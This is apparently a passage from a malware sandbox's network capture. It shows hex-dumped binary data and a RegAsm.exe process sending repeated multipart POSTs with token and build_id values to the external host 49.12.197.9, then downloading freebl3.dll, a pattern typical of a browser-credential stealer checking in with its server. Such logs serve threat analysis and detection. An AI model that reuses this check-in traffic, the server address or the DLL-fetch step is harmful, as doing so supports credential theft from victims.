2024-10-02 15:16:38 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-10-02 15:16:38 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-10-02 15:16:38 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-10-02 15:16:39 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-10-02 15:16:39 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-10-02 15:16:39 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-10-02 15:16:40 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	65238	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:41 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:41 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------EGCGHCBKFCFBFHIDHDBFCont
2024-10-02 15:16:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:42 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	65239	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:42 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:42 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------BAAFBFBAAKECFIEBFIECCont
2024-10-02 15:16:43 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:43 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	65240	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:43 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:43 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------KFIDAFBFBKFHJJKEHIEGCont
2024-10-02 15:16:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:44 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	65242	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:44 UTC	195	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:45 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:45 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:16:45 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:16:45 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: 0c ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: f2 c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: 8b 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: ee 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: 00 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: c4 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-10-02 15:16:45 UTC	16384	IN	Data Raw: 8b 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff 